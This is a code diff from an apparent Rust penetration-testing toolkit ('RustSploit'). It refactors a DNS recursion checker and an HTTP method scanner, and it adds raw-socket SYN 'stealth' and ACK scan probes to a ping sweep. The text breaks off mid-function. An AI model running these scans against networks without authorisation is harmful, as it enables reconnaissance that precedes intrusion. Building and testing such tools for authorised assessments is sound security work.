.with_context(|| format!("DNS query to {} failed", display_target))?;
|
||||
|
||||
let (message, _) = response.into_parts();
|
||||
report_result(&message, name, record_type);
|
||||
report_result(&message, display_target, record_type);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn report_result(message: &Message, name: &Name, record_type: RecordType) {
|
||||
fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
|
||||
let recursion_available = message.recursion_available();
|
||||
let recursion_desired = message.recursion_desired();
|
||||
let authoritative = message.authoritative();
|
||||
@@ -162,7 +162,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
|
||||
name,
|
||||
display_target,
|
||||
record_type,
|
||||
if authoritative { "(authoritative data returned)" } else { "" }
|
||||
)
|
||||
@@ -178,7 +178,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} reports recursion available but refused the request (likely ACL protected).",
|
||||
name
|
||||
display_target
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
@@ -187,7 +187,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
|
||||
name
|
||||
display_target
|
||||
)
|
||||
.red()
|
||||
);
|
||||
@@ -632,7 +632,4 @@ fn validate_domain_input(input: &str) -> Result<String> {
|
||||
));
|
||||
}
|
||||
Ok(without_dot.to_lowercase())
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
@@ -8,14 +8,14 @@ use std::time::Duration;
|
||||
|
||||
const METHODS: &[&str] = &[
|
||||
"GET",
|
||||
"POST",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"TRACE",
|
||||
"CONNECT",
|
||||
"POST",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"TRACE",
|
||||
"CONNECT",
|
||||
];
|
||||
|
||||
struct MethodResult {
|
||||
@@ -55,7 +55,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
@@ -65,10 +65,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
let timeout_secs: u64 = timeout_input
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
@@ -88,11 +88,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
normalized.sort();
|
||||
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut all_results = Vec::new();
|
||||
|
||||
@@ -110,10 +110,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let start = std::time::Instant::now();
|
||||
let response = if let Some(ref payload) = body {
|
||||
client
|
||||
.request(method.clone(), target)
|
||||
.body(payload.clone())
|
||||
.send()
|
||||
.await
|
||||
.request(method.clone(), target)
|
||||
.body(payload.clone())
|
||||
.send()
|
||||
.await
|
||||
} else {
|
||||
client.request(method.clone(), target).send().await
|
||||
};
|
||||
@@ -126,10 +126,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
status,
|
||||
elapsed
|
||||
method_name,
|
||||
target,
|
||||
status,
|
||||
elapsed
|
||||
);
|
||||
} else {
|
||||
println!(" [{}] {}", method_name, status);
|
||||
@@ -137,19 +137,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: Some(status),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
Err(err) => {
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> error: {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
err,
|
||||
elapsed
|
||||
method_name,
|
||||
target,
|
||||
err,
|
||||
elapsed
|
||||
);
|
||||
} else {
|
||||
println!(" [{}] error: {}", method_name, err);
|
||||
@@ -159,7 +159,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
status: None,
|
||||
ok: false,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -167,7 +167,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
all_results.push(TargetResult {
|
||||
target: target.clone(),
|
||||
results: method_results,
|
||||
results: method_results,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -178,7 +178,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
@@ -192,11 +192,11 @@ fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════╗
|
||||
║ HTTP METHOD CAPABILITY SCANNER ║
|
||||
║ Checks support for common verbs ║
|
||||
╚══════════════════════════════════════════════════════╝
|
||||
"#
|
||||
╔══════════════════════════════════════════════════════╗
|
||||
║ HTTP METHOD CAPABILITY SCANNER ║
|
||||
║ Checks support for common verbs ║
|
||||
╚══════════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
}
|
||||
|
||||
@@ -211,15 +211,15 @@ fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
@@ -233,8 +233,8 @@ fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String>
|
||||
continue;
|
||||
}
|
||||
let formatted = if target.starts_with("http://")
|
||||
|| target.starts_with("https://")
|
||||
|| target.contains("://")
|
||||
|| target.starts_with("https://")
|
||||
|| target.contains("://")
|
||||
{
|
||||
target.to_string()
|
||||
} else {
|
||||
@@ -253,11 +253,10 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(url) = Url::parse(target) {
|
||||
if let Ok(mut url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
let mut candidate = url.clone();
|
||||
if candidate.set_port(Some(*port)).is_ok() {
|
||||
let final_url = candidate.to_string();
|
||||
if url.set_port(Some(*port)).is_ok() {
|
||||
let final_url = url.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
@@ -281,14 +280,14 @@ fn prompt(message: &str) -> Result<String> {
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(&format!("{}", message))?;
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
@@ -358,20 +357,19 @@ fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
|
||||
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
|
||||
method.method,
|
||||
status.as_u16(),
|
||||
method.ok,
|
||||
method.duration_ms
|
||||
method.ok,
|
||||
method.duration_ms
|
||||
));
|
||||
} else if let Some(ref error) = method.error {
|
||||
lines.push(format!(
|
||||
" - {:<7} error: {} time: {} ms",
|
||||
method.method,
|
||||
error,
|
||||
method.duration_ms
|
||||
method.method, error, method.duration_ms
|
||||
));
|
||||
}
|
||||
}
|
||||
lines.push(String::new());
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
|
||||
fs::write(path, lines.join("\n"))
|
||||
.with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
|
||||
@@ -1,17 +1,25 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ipnet::IpNet;
|
||||
use libc;
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
|
||||
use pnet_packet::Packet;
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
net::{IpAddr, SocketAddr},
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
sync::{
|
||||
atomic::{AtomicUsize, Ordering},
|
||||
Arc,
|
||||
Arc, Mutex,
|
||||
},
|
||||
};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
|
||||
use rand::Rng;
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct PingConfig {
|
||||
@@ -20,12 +28,16 @@ struct PingConfig {
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
verbose: bool,
|
||||
save_up_hosts: Option<String>,
|
||||
save_down_hosts: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
enum PingMethod {
|
||||
Icmp,
|
||||
Tcp { ports: Vec<u16> },
|
||||
Syn { ports: Vec<u16> },
|
||||
Ack { ports: Vec<u16> },
|
||||
}
|
||||
|
||||
impl PingMethod {
|
||||
@@ -46,6 +58,34 @@ impl PingMethod {
|
||||
)
|
||||
}
|
||||
}
|
||||
PingMethod::Syn { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("SYN/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"SYN [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
PingMethod::Ack { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("ACK/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"ACK [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,6 +93,8 @@ impl PingMethod {
|
||||
match self {
|
||||
PingMethod::Icmp => "ICMP",
|
||||
PingMethod::Tcp { .. } => "TCP",
|
||||
PingMethod::Syn { .. } => "SYN",
|
||||
PingMethod::Ack { .. } => "ACK",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -60,6 +102,8 @@ impl PingMethod {
|
||||
match self {
|
||||
PingMethod::Icmp => icmp_probe(ip, timeout).await,
|
||||
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
|
||||
PingMethod::Syn { ports } => syn_probe(ip, ports, timeout).await,
|
||||
PingMethod::Ack { ports } => ack_probe(ip, ports, timeout).await,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -174,6 +218,23 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
|
||||
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
|
||||
|
||||
// Ask about saving results
|
||||
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
|
||||
let default_file = "ping_sweep_up_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for up hosts", default_file)?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
|
||||
let default_file = "ping_sweep_down_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for down hosts", default_file)?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let methods = loop {
|
||||
let mut methods = Vec::new();
|
||||
|
||||
@@ -193,6 +254,30 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Syn { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Ack { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if methods.is_empty() {
|
||||
println!("{}", "Select at least one method.".red().bold());
|
||||
continue;
|
||||
@@ -218,6 +303,8 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
concurrency,
|
||||
timeout_secs,
|
||||
verbose,
|
||||
save_up_hosts,
|
||||
save_down_hosts,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -294,6 +381,11 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
|
||||
let processed_counter = Arc::new(AtomicUsize::new(0));
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
// Collections for saving results
|
||||
let up_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
|
||||
let down_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
|
||||
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in hosts {
|
||||
@@ -301,6 +393,8 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
let methods_clone = methods.clone();
|
||||
let success_clone = success_counter.clone();
|
||||
let processed_clone = processed_counter.clone();
|
||||
let up_list = up_hosts_list.clone();
|
||||
let down_list = down_hosts_list.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = match sem.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
@@ -363,8 +457,18 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
)
|
||||
.green()
|
||||
);
|
||||
} else if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
// Add to up hosts list
|
||||
if let Ok(mut list) = up_list.lock() {
|
||||
list.push(ip_string.clone());
|
||||
}
|
||||
} else {
|
||||
// Add to down hosts list
|
||||
if let Ok(mut list) = down_list.lock() {
|
||||
list.push(ip_string.clone());
|
||||
}
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
@@ -387,6 +491,54 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
.bold()
|
||||
);
|
||||
|
||||
// Save results to files if requested
|
||||
if let Some(ref up_file) = config.save_up_hosts {
|
||||
let up_list = up_hosts_list.lock().unwrap();
|
||||
if !up_list.is_empty() {
|
||||
match save_hosts_to_file(&up_list, up_file) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[+] Saved {} up hosts to '{}'", up_list.len(), up_file).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Failed to save up hosts to '{}': {}", up_file, e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] No up hosts to save to '{}'", up_file).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref down_file) = config.save_down_hosts {
|
||||
let down_list = down_hosts_list.lock().unwrap();
|
||||
if !down_list.is_empty() {
|
||||
match save_hosts_to_file(&down_list, down_file) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[+] Saved {} down hosts to '{}'", down_list.len(), down_file).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Failed to save down hosts to '{}': {}", down_file, e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] No down hosts to save to '{}'", down_file).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_hosts_to_file(hosts: &[String], file_path: &str) -> Result<()> {
|
||||
let mut file = File::create(file_path)
|
||||
.with_context(|| format!("Failed to create file '{}'", file_path))?;
|
||||
|
||||
for host in hosts {
|
||||
writeln!(file, "{}", host)
|
||||
.with_context(|| format!("Failed to write to file '{}'", file_path))?;
|
||||
}
|
||||
|
||||
file.flush()
|
||||
.with_context(|| format!("Failed to flush file '{}'", file_path))?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -469,6 +621,368 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn syn_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// SYN scan only works with IPv4
|
||||
let ipv4 = match ip {
|
||||
IpAddr::V4(addr) => *addr,
|
||||
IpAddr::V6(_) => {
|
||||
return Err(anyhow!("SYN scan only supports IPv4 addresses"));
|
||||
}
|
||||
};
|
||||
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
match syn_probe_single(&ipv4, *port, timeout).await {
|
||||
Ok(true) => successes.push(format!("SYN/{}", port)),
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
// Silently continue on errors (permission denied, etc.)
|
||||
if e.to_string().contains("Permission denied") {
|
||||
return Err(anyhow!("SYN scan requires root privileges. Run with sudo or use TCP connect scan instead."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
|
||||
use std::net::Ipv4Addr as StdIpv4Addr;
|
||||
use std::net::IpAddr as StdIpAddr;
|
||||
|
||||
// Create raw socket for sending
|
||||
let sender = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create raw socket for SYN scan")?;
|
||||
|
||||
sender
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Create raw socket for receiving TCP responses
|
||||
let receiver = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::TCP),
|
||||
)
|
||||
.context("Failed to create receiver socket for SYN scan")?;
|
||||
|
||||
receiver
|
||||
.set_read_timeout(Some(timeout))
|
||||
.context("Failed to set read timeout")?;
|
||||
|
||||
// Get source IP (use a dummy IP if we can't determine it)
|
||||
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
|
||||
|
||||
// Craft SYN packet - generate all random values before any await
|
||||
let (src_port, seq_num, ip_id) = {
|
||||
let mut rng = rand::rng();
|
||||
(
|
||||
rng.random_range(49152..=65535),
|
||||
rng.random::<u32>(),
|
||||
rng.random::<u16>(),
|
||||
)
|
||||
};
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
tcp_pkt.set_acknowledgement(0);
|
||||
tcp_pkt.set_data_offset(5);
|
||||
tcp_pkt.set_flags(TcpFlags::SYN);
|
||||
tcp_pkt.set_window(65535);
|
||||
tcp_pkt.set_urgent_ptr(0);
|
||||
|
||||
let tcp_immutable = tcp_pkt.to_immutable();
|
||||
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
|
||||
|
||||
// Craft IP packet
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
ip_pkt.set_identification(ip_id);
|
||||
ip_pkt.set_ttl(64);
|
||||
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip_pkt.set_source(src_ip);
|
||||
ip_pkt.set_destination(*ip);
|
||||
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
|
||||
ip_pkt.set_payload(tcp_pkt.packet());
|
||||
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
|
||||
|
||||
// Send packet (blocking operation)
|
||||
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
|
||||
sender
|
||||
.send_to(ip_pkt.packet(), &dst_addr.into())
|
||||
.context("Failed to send SYN packet")?;
|
||||
|
||||
// Listen for response using spawn_blocking for async compatibility
|
||||
let receiver_arc = Arc::new(receiver);
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
|
||||
let ip_clone = *ip;
|
||||
let port_clone = port;
|
||||
let src_ip_clone = src_ip;
|
||||
let src_port_clone = src_port;
|
||||
|
||||
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
match recv_result {
|
||||
Ok(Some((data, _))) => {
|
||||
if data.len() < IPV4_HEADER_LEN {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse IP header
|
||||
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
|
||||
// Parse TCP header
|
||||
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
|
||||
if data.len() >= tcp_offset + 20 {
|
||||
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
|
||||
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
|
||||
let flags = tcp_recv.get_flags();
|
||||
// SYN-ACK means port is open
|
||||
if flags & (TcpFlags::SYN | TcpFlags::ACK) == (TcpFlags::SYN | TcpFlags::ACK) {
|
||||
return Ok(true);
|
||||
}
|
||||
// RST means port is closed but host is up
|
||||
if flags & TcpFlags::RST == TcpFlags::RST {
|
||||
return Ok(true); // Host is up
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(None) => {
|
||||
// Timeout or would block - continue waiting
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
Err(_) => {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
async fn ack_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// ACK scan only works with IPv4
|
||||
let ipv4 = match ip {
|
||||
IpAddr::V4(addr) => *addr,
|
||||
IpAddr::V6(_) => {
|
||||
return Err(anyhow!("ACK scan only supports IPv4 addresses"));
|
||||
}
|
||||
};
|
||||
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
match ack_probe_single(&ipv4, *port, timeout).await {
|
||||
Ok(true) => successes.push(format!("ACK/{}", port)),
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
// Silently continue on errors (permission denied, etc.)
|
||||
if e.to_string().contains("Permission denied") {
|
||||
return Err(anyhow!("ACK scan requires root privileges. Run with sudo or use TCP connect scan instead."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
|
||||
use std::net::Ipv4Addr as StdIpv4Addr;
|
||||
use std::net::IpAddr as StdIpAddr;
|
||||
|
||||
// Create raw socket for sending
|
||||
let sender = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create raw socket for ACK scan")?;
|
||||
|
||||
sender
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Create raw socket for receiving TCP responses
|
||||
let receiver = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::TCP),
|
||||
)
|
||||
.context("Failed to create receiver socket for ACK scan")?;
|
||||
|
||||
receiver
|
||||
.set_read_timeout(Some(timeout))
|
||||
.context("Failed to set read timeout")?;
|
||||
|
||||
// Get source IP
|
||||
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
|
||||
|
||||
// Craft ACK packet - generate all random values before any await
|
||||
let (src_port, seq_num, ip_id) = {
|
||||
let mut rng = rand::rng();
|
||||
(
|
||||
rng.random_range(49152..=65535),
|
||||
rng.random::<u32>(),
|
||||
rng.random::<u16>(),
|
||||
)
|
||||
};
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
tcp_pkt.set_acknowledgement(0);
|
||||
tcp_pkt.set_data_offset(5);
|
||||
tcp_pkt.set_flags(TcpFlags::ACK);
|
||||
tcp_pkt.set_window(65535);
|
||||
tcp_pkt.set_urgent_ptr(0);
|
||||
|
||||
let tcp_immutable = tcp_pkt.to_immutable();
|
||||
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
|
||||
|
||||
// Craft IP packet
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
